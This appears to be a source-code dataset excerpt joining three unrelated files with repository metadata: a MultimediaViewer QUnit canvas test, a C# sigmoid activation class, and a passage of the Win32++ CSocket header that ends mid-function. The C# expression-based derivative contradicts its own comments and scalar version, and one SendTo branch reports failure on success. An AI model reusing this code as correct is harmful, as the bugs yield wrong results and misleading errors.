imageRawMetadata = new mw.mmv.LightboxImage( 'foo.png' );
canvas.empty();
assert.strictEqual( canvas.$imageDiv.html(), '', 'Canvas is empty.' );
assert.strictEqual( canvas.$imageDiv.hasClass( 'empty' ), true, 'Canvas is not visible.' );
canvas.set( imageRawMetadata, $imageElem );
assert.strictEqual( canvas.$image, $imageElem, 'Image element set correctly.' );
assert.strictEqual( canvas.imageRawMetadata, imageRawMetadata, 'Raw metadata set correctly.' );
assert.strictEqual( canvas.$imageDiv.html(), '<img>', 'Image added to container.' );
assert.strictEqual( canvas.$imageDiv.hasClass( 'empty' ), false, 'Canvas is visible.' );
canvas.empty();
assert.strictEqual( canvas.$imageDiv.html(), '', 'Canvas is empty.' );
assert.strictEqual( canvas.$imageDiv.hasClass( 'empty' ), true, 'Canvas is not visible.' );
} );
QUnit.test( 'setImageAndMaxDimensions()', function ( assert ) {
var $qf = $( '#qunit-fixture' ),
$mainWrapper = $( '<div>' ).appendTo( $qf ),
$innerWrapper = $( '<div>' ).appendTo( $mainWrapper ),
$imageWrapper = $( '<div>' ).appendTo( $innerWrapper ),
canvas = new mw.mmv.ui.Canvas( $innerWrapper, $imageWrapper, $mainWrapper ),
imageRawMetadata = new mw.mmv.LightboxImage( 'foo.png' ),
image = new Image(),
$imageElem = $( image ),
image2 = new Image(),
thumbnailWidth = 10,
screenWidth = 100,
$currentImage,
originalWidth;
// Need to call set() before using setImageAndMaxDimensions()
canvas.set( imageRawMetadata, $imageElem );
originalWidth = image.width;
// Call with the same image
canvas.setImageAndMaxDimensions(
{ width: thumbnailWidth },
image,
{ cssWidth: screenWidth }
);
assert.strictEqual( image.width, originalWidth, 'Image width was not modified.' );
assert.strictEqual( canvas.$image, $imageElem, 'Image element still set correctly.' );
$currentImage = canvas.$image;
// Call with a new image bigger than screen size
thumbnailWidth = 150;
canvas.setImageAndMaxDimensions(
{ width: thumbnailWidth },
image2,
{ cssWidth: screenWidth }
);
assert.strictEqual( image2.width, screenWidth, 'Image width was trimmed correctly.' );
assert.notStrictEqual( canvas.$image, $currentImage, 'Image element switched correctly.' );
} );
QUnit.test( 'maybeDisplayPlaceholder: Constrained area for SVG files', function ( assert ) {
var $image,
blurredThumbnailShown,
$qf = $( '#qunit-fixture' ),
imageRawMetadata = new mw.mmv.LightboxImage( 'foo.svg' ),
canvas = new mw.mmv.ui.Canvas( $qf );
imageRawMetadata.filePageTitle = {
getExtension: function () { return 'svg'; }
};
canvas.imageRawMetadata = imageRawMetadata;
canvas.set = function () {
assert.ok( false, 'Placeholder is not shown' );
};
$image = $( '<img>' ).width( 10 ).height( 5 );
blurredThumbnailShown = canvas.maybeDisplayPlaceholder(
{ width: 200, height: 100 },
$image,
{ cssWidth: 300, cssHeight: 150 }
);
assert.strictEqual( $image.width(), 10, 'Placeholder width was not set to max' );
assert.strictEqual( $image.height(), 5, 'Placeholder height was not set to max' );
assert.strictEqual( $image.hasClass( 'blurred' ), false, 'Placeholder is not blurred' );
assert.strictEqual( blurredThumbnailShown, false, 'Placeholder state is correct' );
} );
QUnit.test( 'maybeDisplayPlaceholder: placeholder big enough that it doesn\'t need blurring, actual image bigger than the lightbox', function ( assert ) {
var $image,
blurredThumbnailShown,
$qf = $( '#qunit-fixture' ),
imageRawMetadata = new mw.mmv.LightboxImage( 'foo.png' ),
canvas = new mw.mmv.ui.Canvas( $qf );
imageRawMetadata.filePageTitle = {
getExtension: function () { return 'png'; }
};
canvas.imageRawMetadata = imageRawMetadata;
canvas.set = function () {
assert.ok( true, 'Placeholder shown' );
};
$image = $( '<img>' ).width( 200 ).height( 100 );
blurredThumbnailShown = canvas.maybeDisplayPlaceholder(
{ width: 1000, height: 500 },
$image,
{ cssWidth: 300, cssHeight: 150 }
);
assert.strictEqual( $image.width(), 300, 'Placeholder has the right width' );
assert.strictEqual( $image.height(), 150, 'Placeholder has the right height' );
assert.strictEqual( $image.hasClass( 'blurred' ), false, 'Placeholder is not blurred' );
assert.strictEqual( blurredThumbnailShown, false, 'Placeholder state is correct' );
} );
QUnit.test( 'maybeDisplayPlaceholder: big-enough placeholder that needs blurring, actual image bigger than the lightbox', function ( assert ) {
var $image,
blurredThumbnailShown,
$qf = $( '#qunit-fixture' ),
imageRawMetadata = new mw.mmv.LightboxImage( 'foo.png' ),
canvas = new mw.mmv.ui.Canvas( $qf );
imageRawMetadata.filePageTitle = {
getExtension: function () { return 'png'; }
};
canvas.imageRawMetadata = imageRawMetadata;
canvas.set = function () {
assert.ok( true, 'Placeholder shown' );
};
$image = $( '<img>' ).width( 100 ).height( 50 );
blurredThumbnailShown = canvas.maybeDisplayPlaceholder(
{ width: 1000, height: 500 },
$image,
{ cssWidth: 300, cssHeight: 150 }
);
assert.strictEqual( $image.width(), 300, 'Placeholder has the right width' );
assert.strictEqual( $image.height(), 150, 'Placeholder has the right height' );
assert.strictEqual( $image.hasClass( 'blurred' ), true, 'Placeholder is blurred' );
assert.strictEqual( blurredThumbnailShown, true, 'Placeholder state is correct' );
} );
QUnit.test( 'maybeDisplayPlaceholder: big-enough placeholder that needs blurring, actual image smaller than the lightbox', function ( assert ) {
var $image,
blurredThumbnailShown,
$qf = $( '#qunit-fixture' ),
imageRawMetadata = new mw.mmv.LightboxImage( 'foo.png' ),
canvas = new mw.mmv.ui.Canvas( $qf );
imageRawMetadata.filePageTitle = {
getExtension: function () { return 'png'; }
};
canvas.imageRawMetadata = imageRawMetadata;
canvas.set = function () {
assert.ok( true, 'Placeholder shown' );
};
$image = $( '<img>' ).width( 100 ).height( 50 );
blurredThumbnailShown = canvas.maybeDisplayPlaceholder(
{ width: 1000, height: 500 },
$image,
{ cssWidth: 1200, cssHeight: 600 }
);
assert.strictEqual( $image.width(), 1000, 'Placeholder has the right width' );
assert.strictEqual( $image.height(), 500, 'Placeholder has the right height' );
assert.strictEqual( $image.hasClass( 'blurred' ), true, 'Placeholder is blurred' );
assert.strictEqual( blurredThumbnailShown, true, 'Placeholder state is correct' );
} );
QUnit.test( 'maybeDisplayPlaceholder: placeholder too small to be displayed, actual image bigger than the lightbox', function ( assert ) {
var $image,
blurredThumbnailShown,
$qf = $( '#qunit-fixture' ),
imageRawMetadata = new mw.mmv.LightboxImage( 'foo.png' ),
canvas = new mw.mmv.ui.Canvas( $qf );
imageRawMetadata.filePageTitle = {
getExtension: function () { return 'png'; }
};
canvas.imageRawMetadata = imageRawMetadata;
canvas.set = function () {
assert.ok( false, 'Placeholder shown when it should not' );
};
$image = $( '<img>' ).width( 10 ).height( 5 );
blurredThumbnailShown = canvas.maybeDisplayPlaceholder(
{ width: 1000, height: 500 },
$image,
{ cssWidth: 300, cssHeight: 150 }
);
assert.strictEqual( $image.width(), 10, 'Placeholder has the right width' );
assert.strictEqual( $image.height(), 5, 'Placeholder has the right height' );
assert.strictEqual( $image.hasClass( 'blurred' ), false, 'Placeholder is not blurred' );
assert.strictEqual( blurredThumbnailShown, false, 'Placeholder state is correct' );
} );
QUnit.test( 'unblurWithAnimation', function ( assert ) {
var $qf = $( '#qunit-fixture' ),
canvas = new mw.mmv.ui.Canvas( $qf ),
oldAnimate = $.fn.animate;
$.fn.animate = function ( target, options ) {
var key;
if ( options ) {
if ( options.step ) {
for ( key in target ) {
options.step.call( this, target[ key ] /* , tween object */ );
}
}
if ( options.complete ) {
options.complete.call( this );
}
}
};
canvas.$image = $( '<img>' );
canvas.unblurWithAnimation();
assert.ok( !canvas.$image.css( '-webkit-filter' ) || !canvas.$image.css( '-webkit-filter' ).length,
'Image has no -webkit-filter left' );
assert.ok( !canvas.$image.css( 'filter' ) || !canvas.$image.css( 'filter' ).length || canvas.$image.css( 'filter' ) === 'none',
'Image has no filter left' );
assert.strictEqual( parseInt( canvas.$image.css( 'opacity' ), 10 ), 1,
'Image is fully opaque' );
assert.strictEqual( canvas.$image.hasClass( 'blurred' ), false, 'Image has no "blurred" class' );
$.fn.animate = oldAnimate;
} );
}() );
|
kylethayer/bioladder
|
wiki/extensions/MultimediaViewer/tests/qunit/mmv/ui/mmv.ui.canvas.test.js
|
JavaScript
|
gpl-3.0
| 10,094
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Linq.Expressions;
namespace ComputationAPI
{
public sealed class SigmoidFunction : IFunction
{
#region Constructors
public SigmoidFunction()
{
Alpha = 1.0;
}
public SigmoidFunction(double alpha)
{
Alpha = alpha;
}
#endregion
#region Properties
public double Alpha { get; set; }
#endregion
#region IFunction Members
public Expression Function(Expression value)
{
var oneEx = Expression.Constant(1.0);
var twoEx = Expression.Constant(2.0);
var aEx = Expression.Constant(-Alpha);
// -Alpha * value:
Expression ex = Expression.Multiply(aEx, value);
// Math.Exp(-Alpha * value):
ex = Expression.Call(typeof(Math).GetMethod("Exp"), ex);
// (1.0 + Math.Exp(-Alpha * value))
ex = Expression.Add(oneEx, ex);
// (2.0 / (1.0 + Math.Exp(-Alpha * value)))
ex = Expression.Divide(twoEx, ex);
// ((2.0 / (1.0 + Math.Exp(-Alpha * value))) - 1.0)
ex = Expression.Subtract(ex, oneEx);
return ex;
}
public Expression Derivate(Expression value)
{
var oneEx = Expression.Constant(1.0);
var twoEx = Expression.Constant(2.0);
var aEx = Expression.Constant(-Alpha);
// value * value:
Expression ex = Expression.Multiply(value, value);
// 1.0 - value * value:
ex = Expression.Subtract(oneEx, ex);
// Alpha * (1.0 - value * value):
ex = Expression.Multiply(aEx, ex);
// (Alpha * (1.0 - value * value) / 2.0)
ex = Expression.Multiply(ex, twoEx);
return ex;
}
public double Function(double value)
{
return ((2.0 / (1.0 + Math.Exp(-Alpha * value))) - 1.0);
}
public double Derivate(double value)
{
return (Alpha * (1.0 - value * value) / 2.0);
}
#endregion
}
}
|
unbornchikken/Neuroflow
|
_vault/NFBak/Neuroflow_vsonline/Neuroflow/OldStuff/NeoComp/Neocomp Framework/ComputationAPI/SigmoidFunction.cs
|
C#
|
gpl-3.0
| 2,239
|
// Win32++ Version 7.3
// Released: 30th November 2011
//
// David Nash
// email: dnash@bigpond.net.au
// url: https://sourceforge.net/projects/win32-framework
//
//
// Copyright (c) 2005-2011 David Nash
//
// Permission is hereby granted, free of charge, to
// any person obtaining a copy of this software and
// associated documentation files (the "Software"),
// to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify,
// merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom
// the Software is furnished to do so, subject to the
// following conditions:
//
// The above copyright notice and this permission notice
// shall be included in all copies or substantial portions
// of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
// PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
// SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
// ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE
// OR OTHER DEALINGS IN THE SOFTWARE.
//
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// socket.h
// Declaration of the CSocket class
//
// The CSocket class represents a network socket. It encapsualtes many of
// the Windows Socket SPI fuctions, providing an object-oriented approach
// to network programming. After StartEvents is called, CSocket monitors
// the socket and responds automatically to network events. This event
// monitoring, for example, automatically calls OnReceive when there is
// data on the socket to be read, and OnAccept when a server should accept
// a connection from a client.
// Users of this class should be aware that functions like OnReceive,
// OnAccept, etc. are called on a different thread from the one CSocket is
// instanciated on. The thread for these functions needs to respond quickly
// to other network events, so it shouldn't be delayed. It also doesn't run
// a message loop, so it can't be used to create windows. For these reasons
// it might be best to use PostMessage in response to these functions in a
// windows environment.
// Refer to the network samples for an example of how to use this class to
// create a TCP client & server, and a UDP client and server.
// To compile programs with CSocket, link with ws3_32.lib for Win32,
// and ws2.lib for Windows CE. Windows 95 systems will need to install the
// "Windows Sockets 2.0 for Windows 95". It's available from:
// http://support.microsoft.com/kb/182108/EN-US/
// For a TCP server, inherit a class from CSocket and override OnAccept, OnDisconnect
// and OnRecieve. Create one instance of this class and use it as a listening socket.
// The purpose of the listening socket is to detect connections from clients and accept them.
// For the listening socket, we do the following:
// 1) Create the socket.
// 2) Bind an IP address to the socket.
// 3) Listen on the socket for incoming connection requests.
// 4) Use StartNotifyRevents to receive notification of network events.
// 5) Override OnAccept to accept requests on a newly created data CSocket object.
// 6) Create a new data socket for each client connection accepted.
// 7) The server socket uses the 'accept' function to accept an incoming connection
// from this new data socket.
// The purpose of the data socket is to send data to, and recieve data from the client.
// There will be one data socket for each client accepted by the server.
// To use it we do the following:
// * To recieve data from the client, override OnReceive and use Receive.
// * To send data to use Send.
// * OnDisconnect can be used to detect when the client is disconnected.
// For a TCP client, inherit from CSocket and override OnReceive and OnDisconnect.
// Create an instance of this inherited class, and perform the following steps:
// 1) Create the socket.
// 2) Connect to the server.
// 3) Use StartNotifyRevents to receive notification of network events.
// We are now ready to send and recieve data from the server.
// * Use Send to send data to the server.
// * Override OnReceive and use Recieve to receive data from the server
// * OnDisconnect can be used to detect when the client is disconnected from the server.
// Notes regarding IPv6 support
// * IPv6 is supported on Windows Vista and above. Windows XP with SP2 provides
// "experimental" support, which can be enabled by entering "ipv6 install"
// at a command prompt.
// * IPv6 is not supported by all compilters and devlopment environments. In
// particular, it is not supported by Dev-C++ or Borland 5.5. A modern
// Platform SDK needs to be added to Visual Studio 6 for it to support IPv6.
// * IsIPV6Supported returns false if either the operating system or the
// development environment fails to support IPv6.
//
#ifndef _WIN32XX_SOCKET_H_
#define _WIN32XX_SOCKET_H_
#include "wincore.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <process.h>
#define THREAD_TIMEOUT 100
namespace Win32xx
{
typedef int WINAPI GETADDRINFO(LPCSTR, LPCSTR, const struct addrinfo*, struct addrinfo**);
typedef void WINAPI FREEADDRINFO(struct addrinfo*);
class CSocket
{
public:
CSocket();
virtual ~CSocket();
// Operations
virtual void Accept(CSocket& rClientSock, struct sockaddr* addr, int* addrlen);
virtual int Bind(LPCTSTR addr, LPCTSTR port);
virtual int Bind(const struct sockaddr* name, int namelen);
virtual int Connect(LPCTSTR addr, LPCTSTR port);
virtual int Connect(const struct sockaddr* name, int namelen);
virtual bool Create( int family, int type, int protocol = IPPROTO_IP);
virtual void Disconnect();
virtual void FreeAddrInfo( struct addrinfo* ai );
virtual int GetAddrInfo( LPCTSTR nodename, LPCTSTR servname, const struct addrinfo* hints, struct addrinfo** res);
virtual LPCTSTR GetLastError();
virtual int ioCtlSocket(long cmd, u_long* argp);
virtual bool IsIPV6Supported();
virtual int Listen(int backlog = SOMAXCONN);
virtual int Receive(TCHAR* buf, int len, int flags);
virtual int ReceiveFrom(TCHAR* buf, int len, int flags, struct sockaddr* from, int* fromlen);
virtual int Send(LPCTSTR buf, int len, int flags);
virtual int SendTo(LPCTSTR send, int len, int flags, LPCTSTR addr, LPCTSTR port);
virtual int SendTo(LPCTSTR buf, int len, int flags, const struct sockaddr* to, int tolen);
virtual void StartEvents();
virtual void StopEvents();
// Attributes
virtual int GetPeerName(struct sockaddr* name, int* namelen);
virtual int GetSockName(struct sockaddr* name, int* namelen);
SOCKET& GetSocket() { return m_Socket; }
virtual int GetSockOpt(int level, int optname, char* optval, int* optlen);
virtual int SetSockOpt(int level, int optname, const char* optval, int optlen);
// Override these functions to monitor events
virtual void OnAccept() {}
virtual void OnAddresListChange() {}
virtual void OnDisconnect() {}
virtual void OnConnect() {}
virtual void OnOutOfBand() {}
virtual void OnQualityOfService() {}
virtual void OnReceive() {}
virtual void OnRoutingChange() {}
virtual void OnSend() {}
// Allow CSocket to be used as a SOCKET
operator SOCKET() const {return m_Socket;}
private:
CSocket(const CSocket&); // Disable copy construction
CSocket& operator = (const CSocket&); // Disable assignment operator
static UINT WINAPI EventThread(LPVOID thread_data);
CString m_ErrorMessage;
SOCKET m_Socket;
HMODULE m_hWS2_32;
HANDLE m_hEventThread; // Handle to the thread
HANDLE m_StopRequest; // An event to signal the event thread should stop
HANDLE m_Stopped; // An event to signal the event thread is stopped
GETADDRINFO* m_pfnGetAddrInfo; // pointer for the GetAddrInfo function
FREEADDRINFO* m_pfnFreeAddrInfo; // pointer for the FreeAddrInfo function
};
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
namespace Win32xx
{
inline CSocket::CSocket() : m_Socket(INVALID_SOCKET), m_hEventThread(0)
{
// Initialise the Windows Socket services
WSADATA wsaData;
if (0 != ::WSAStartup(MAKEWORD(2,2), &wsaData))
throw CWinException(_T("WSAStartup failed"));
m_hWS2_32 = ::LoadLibrary(_T("WS2_32.dll"));
if (0 == m_hWS2_32)
throw CWinException(_T("Failed to load WS2_2.dll"));
m_pfnGetAddrInfo = (GETADDRINFO*) GetProcAddress(m_hWS2_32, "getaddrinfo");
m_pfnFreeAddrInfo = (FREEADDRINFO*) GetProcAddress(m_hWS2_32, "freeaddrinfo");
m_StopRequest = ::CreateEvent(0, TRUE, FALSE, 0);
m_Stopped = ::CreateEvent(0, TRUE, FALSE, 0);
}
inline CSocket::~CSocket()
{
Disconnect();
// Close handles
::CloseHandle(m_StopRequest);
::CloseHandle(m_Stopped);
// Terminate the Windows Socket services
::WSACleanup();
::FreeLibrary(m_hWS2_32);
}
inline void CSocket::Accept(CSocket& rClientSock, struct sockaddr* addr, int* addrlen)
{
// The accept function permits an incoming connection attempt on the socket.
rClientSock.m_Socket = ::accept(m_Socket, addr, addrlen);
if (INVALID_SOCKET == rClientSock.GetSocket())
TRACE(_T("Accept failed\n"));
}
inline int CSocket::Bind(LPCTSTR addr, LPCTSTR port)
// The bind function associates a local address with the socket.
{
int RetVal = 0;
if (IsIPV6Supported())
{
#ifdef GetAddrInfo // Skip the following code block for older development environments
ADDRINFO Hints= {0};
Hints.ai_flags = AI_NUMERICHOST | AI_PASSIVE;
ADDRINFO *AddrInfo;
RetVal = GetAddrInfo(addr, port, &Hints, &AddrInfo);
if (RetVal != 0)
{
TRACE( _T("GetAddrInfo failed\n"));
return RetVal;
}
// Bind the IP address to the listening socket
RetVal = ::bind( m_Socket, AddrInfo->ai_addr, (int)AddrInfo->ai_addrlen );
if ( RetVal == SOCKET_ERROR )
{
TRACE(_T("Bind failed\n"));
return RetVal;
}
// Free the address information allocated by GetAddrInfo
FreeAddrInfo(AddrInfo);
#endif
}
else
{
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( T2A(addr) );
int nPort = -1;
nPort = atoi( T2A(port) );
if (-1 == nPort)
{
TRACE(_T("Invalid port number\n"));
return SOCKET_ERROR;
}
clientService.sin_port = htons( (u_short)nPort );
RetVal = ::bind( m_Socket, (SOCKADDR*) &clientService, sizeof(clientService) );
if ( 0 != RetVal )
TRACE(_T("Bind failed\n"));
}
return RetVal;
}
inline int CSocket::Bind(const struct sockaddr* name, int namelen)
{
// The bind function associates a local address with the socket.
int Result = ::bind (m_Socket, name, namelen);
if ( 0 != Result )
TRACE(_T("Bind failed\n"));
return Result;
}
inline int CSocket::Connect(LPCTSTR addr, LPCTSTR port)
// The Connect function establishes a connection to the socket.
{
int RetVal = 0;
if (IsIPV6Supported())
{
#ifdef GetAddrInfo // Skip the following code block for older development environments
ADDRINFO Hints= {0};
Hints.ai_flags = AI_NUMERICHOST | AI_PASSIVE;
ADDRINFO *AddrInfo;
RetVal = GetAddrInfo(addr, port, &Hints, &AddrInfo);
if (RetVal != 0)
{
TRACE( _T("getaddrinfo failed\n"));
return SOCKET_ERROR;
}
// Bind the IP address to the listening socket
RetVal = Connect( AddrInfo->ai_addr, (int)AddrInfo->ai_addrlen );
if ( RetVal == SOCKET_ERROR )
{
TRACE(_T("Connect failed\n"));
return RetVal;
}
// Free the address information allocatied by GetAddrInfo
FreeAddrInfo(AddrInfo);
#endif
}
else
{
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( T2A(addr) );
int nPort = -1;
nPort = atoi( T2A(port) );
if (-1 == nPort)
{
TRACE(_T("Invalid port number\n"));
return SOCKET_ERROR;
}
clientService.sin_port = htons( (u_short)nPort );
RetVal = ::connect( m_Socket, (SOCKADDR*) &clientService, sizeof(clientService) );
if ( 0 != RetVal )
TRACE(_T("Connect failed\n"));
}
return RetVal;
}
inline int CSocket::Connect(const struct sockaddr* name, int namelen)
{
// The Connect function establishes a connection to the socket.
int Result = ::connect( m_Socket, name, namelen );
if ( 0 != Result )
TRACE(_T("Connect failed\n"));
return Result;
}
inline bool CSocket::Create( int family, int type, int protocol /*= IPPROTO_IP*/)
{
// Creates the socket
// Valid values:
// family: AF_INET or AF_INET6
// type: SOCK_DGRAM, SOCK_SEQPACKET, SOCK_STREAM, SOCK_RAW
// protocol: IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, IPPROTO_RAW, IPPROTO_ICMP, IPPROTO_ICMPV6
m_Socket = socket(family, type, protocol);
if(m_Socket == INVALID_SOCKET)
{
TRACE(_T("Failed to create socket\n"));
return FALSE;
}
return TRUE;
}
inline void CSocket::Disconnect()
{
::shutdown(m_Socket, SD_BOTH);
StopEvents();
::closesocket(m_Socket);
m_Socket = INVALID_SOCKET;
}
inline UINT WINAPI CSocket::EventThread(LPVOID thread_data)
{
// These are the possible network event notifications:
// FD_READ Notification of readiness for reading.
// FD_WRITE Motification of readiness for writing.
// FD_OOB Notification of the arrival of Out Of Band data.
// FD_ACCEPT Notification of incoming connections.
// FD_CONNECT Notification of completed connection or multipoint join operation.
// FD_CLOSE Notification of socket closure.
// FD_QOS Notification of socket Quality Of Service changes
// FD_ROUTING_INTERFACE_CHANGE Notification of routing interface changes for the specified destination.
// FD_ADDRESS_LIST_CHANGE Notification of local address list changes for the address family of the socket.
WSANETWORKEVENTS NetworkEvents;
CSocket* pSocket = (CSocket*)thread_data;
SOCKET sClient = pSocket->m_Socket;
WSAEVENT AllEvents[2];
AllEvents[0] = ::WSACreateEvent();
AllEvents[1] = (WSAEVENT)pSocket->m_StopRequest;
long Events = FD_READ | FD_WRITE | FD_OOB | FD_ACCEPT | FD_CONNECT | FD_CLOSE |
FD_QOS | FD_ROUTING_INTERFACE_CHANGE | FD_ADDRESS_LIST_CHANGE;
// Associate the network event object (hNetworkEvents) with the
// specified network events (Events) on socket sClient.
if( SOCKET_ERROR == WSAEventSelect(sClient, AllEvents[0], Events))
{
TRACE(_T("Error in Event Select\n"));
::SetEvent(pSocket->m_Stopped);
::WSACloseEvent(AllEvents[0]);
return 0;
}
// loop until the stop event is set
for (;;) // infinite loop
{
// Wait 100 ms for a network event
DWORD dwResult = ::WSAWaitForMultipleEvents(2, AllEvents, FALSE, THREAD_TIMEOUT, FALSE);
// Check event for stop thread
if(::WaitForSingleObject(pSocket->m_StopRequest, 0) == WAIT_OBJECT_0)
{
::WSACloseEvent(AllEvents[0]);
::SetEvent(pSocket->m_Stopped);
return 0;
}
if (WSA_WAIT_FAILED == dwResult)
{
TRACE(_T("WSAWaitForMultipleEvents failed\n"));
::WSACloseEvent(AllEvents[0]);
::SetEvent(pSocket->m_Stopped);
return 0;
}
// Proceed if a network event occurred
if (WSA_WAIT_TIMEOUT != dwResult)
{
if ( SOCKET_ERROR == ::WSAEnumNetworkEvents(sClient, AllEvents[0], &NetworkEvents) )
{
TRACE(_T("WSAEnumNetworkEvents failed\n"));
::WSACloseEvent(AllEvents[0]);
::SetEvent(pSocket->m_Stopped);
return 0;
}
if (NetworkEvents.lNetworkEvents & FD_ACCEPT)
pSocket->OnAccept();
if (NetworkEvents.lNetworkEvents & FD_READ)
pSocket->OnReceive();
if (NetworkEvents.lNetworkEvents & FD_WRITE)
pSocket->OnSend();
if (NetworkEvents.lNetworkEvents & FD_OOB)
pSocket->OnOutOfBand();
if (NetworkEvents.lNetworkEvents & FD_QOS)
pSocket->OnQualityOfService();
if (NetworkEvents.lNetworkEvents & FD_CONNECT)
pSocket->OnConnect();
if (NetworkEvents.lNetworkEvents & FD_ROUTING_INTERFACE_CHANGE)
pSocket->OnRoutingChange();
if (NetworkEvents.lNetworkEvents & FD_ADDRESS_LIST_CHANGE)
pSocket->OnAddresListChange();
if (NetworkEvents.lNetworkEvents & FD_CLOSE)
{
::shutdown(sClient, SD_BOTH);
::closesocket(sClient);
pSocket->OnDisconnect();
::WSACloseEvent(AllEvents[0]);
::SetEvent(pSocket->m_Stopped);
return 0;
}
}
}
}
inline int CSocket::GetAddrInfo( LPCTSTR nodename, LPCTSTR servname, const struct addrinfo* hints, struct addrinfo** res)
{
#ifdef GetAddrInfo
std::string sNodeName = T2A(nodename);
std::string sServName = T2A(servname);
return (*m_pfnGetAddrInfo)(sNodeName.c_str(), sServName.c_str(), hints, res);
#else
UNREFERENCED_PARAMETER(nodename);
UNREFERENCED_PARAMETER(servname);
UNREFERENCED_PARAMETER(hints);
UNREFERENCED_PARAMETER(res);
throw CWinException(_T("getaddrinfo is not supported"));
#endif
}
inline LPCTSTR CSocket::GetLastError()
{
// Retrieves the most recent network error.
int ErrorCode = WSAGetLastError();
LPTSTR Message = NULL;
m_ErrorMessage = _T("");
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS |
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_MAX_WIDTH_MASK,
NULL, ErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&Message, 1024, NULL);
if (Message)
{
m_ErrorMessage = Message;
::LocalFree(Message);
}
return m_ErrorMessage;
}
inline int CSocket::GetPeerName(struct sockaddr* name, int* namelen)
{
int Result = ::getpeername(m_Socket, name, namelen);
if (0 != Result)
TRACE(_T("GetPeerName failed\n"));
return Result;
}
inline int CSocket::GetSockName(struct sockaddr* name, int* namelen)
{
int Result = ::getsockname(m_Socket, name, namelen);
if (0 != Result)
TRACE(_T("GetSockName Failed\n"));
return Result;
}
inline int CSocket::GetSockOpt(int level, int optname, char* optval, int* optlen)
{
int Result = ::getsockopt(m_Socket, level, optname, optval, optlen);
if (0 != Result)
TRACE(_T("GetSockOpt Failed\n"));
return Result;
}
inline void CSocket::FreeAddrInfo( struct addrinfo* ai )
{
#ifdef GetAddrInfo
(*m_pfnFreeAddrInfo)(ai);
#else
UNREFERENCED_PARAMETER(ai);
throw CWinException(_T("getaddrinfo is not supported"));
#endif
}
inline int CSocket::ioCtlSocket(long cmd, u_long* argp)
{
int Result = ::ioctlsocket(m_Socket, cmd, argp);
if (0 != Result)
TRACE(_T("ioCtlSocket Failed\n"));
return Result;
}
inline bool CSocket::IsIPV6Supported()
{
bool IsIPV6Supported = FALSE;
#ifdef GetAddrInfo
if (m_pfnGetAddrInfo != 0 && m_pfnFreeAddrInfo != 0)
IsIPV6Supported = TRUE;
#endif
return IsIPV6Supported;
}
inline int CSocket::Listen(int backlog /*= SOMAXCONN*/)
{
int Result = ::listen(m_Socket, backlog);
if (0 != Result)
TRACE(_T("Listen Failed\n"));
return Result;
}
inline int CSocket::Receive(TCHAR* buf, int len, int flags)
{
std::vector<char> vChar(len+1, '\0');
char* pCharArray = &vChar.front();
int Result = ::recv(m_Socket, pCharArray, len, flags);
if (SOCKET_ERROR == Result)
TRACE(_T("Receive failed\n"));
lstrcpyn(buf, A2T(pCharArray), len);
return Result;
}
inline int CSocket::ReceiveFrom(TCHAR* buf, int len, int flags, struct sockaddr* from, int* fromlen)
//The ReceiveFrom function receives a datagram and stores the source address.
{
std::vector<char> vChar(len+1, '\0');
char* pCharArray = &vChar.front();
int Result = ::recvfrom(m_Socket, pCharArray, len, flags, from, fromlen);
if (SOCKET_ERROR == Result)
TRACE(_T("ReceiveFrom failed\n"));
lstrcpyn(buf, A2T(pCharArray), len);
return Result;
}
inline int CSocket::Send(LPCTSTR buf, int len, int flags)
{
int Result = ::send(m_Socket, T2A(buf), len, flags);
if (SOCKET_ERROR == Result)
TRACE(_T("Send failed\n"));
return Result;
}
inline int CSocket::SendTo(LPCTSTR send, int len, int flags, LPCTSTR addr, LPCTSTR port)
// The sendto function sends data to a specific destination.
{
int RetVal = 0;
if (IsIPV6Supported())
{
#ifdef GetAddrInfo // Skip the following code block for older development environments
ADDRINFO Hints= {0};
Hints.ai_flags = AI_NUMERICHOST | AI_PASSIVE;
ADDRINFO *AddrInfo;
RetVal = GetAddrInfo(addr, port, &Hints, &AddrInfo);
if (RetVal != 0)
{
TRACE( _T("GetAddrInfo failed\n"));
return SOCKET_ERROR;
}
RetVal = ::sendto(m_Socket, T2A(send), len, flags, AddrInfo->ai_addr, (int)AddrInfo->ai_addrlen );
if ( RetVal == SOCKET_ERROR )
{
TRACE(_T("SendTo failed\n"));
return RetVal;
}
// Free the address information allocatied by GetAddrInfo
FreeAddrInfo(AddrInfo);
#endif
}
else
{
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( T2A(addr) );
int nPort = -1;
nPort = atoi( T2A(port));
if (-1 == nPort)
{
TRACE(_T("Invalid port number\n"));
return SOCKET_ERROR;
}
clientService.sin_port = htons( (u_short)nPort );
RetVal = ::sendto( m_Socket, T2A(send), len, flags, (SOCKADDR*) &clientService, sizeof(clientService) );
if ( SOCKET_ERROR != RetVal )
TRACE(_T("SendTo failed\n"));
}
return RetVal;
}
inline int CSocket::SendTo(LPCTSTR buf, int len, int flags, const struct sockaddr* to, int tolen)
// The sendto function sends data to a specific destination.
{
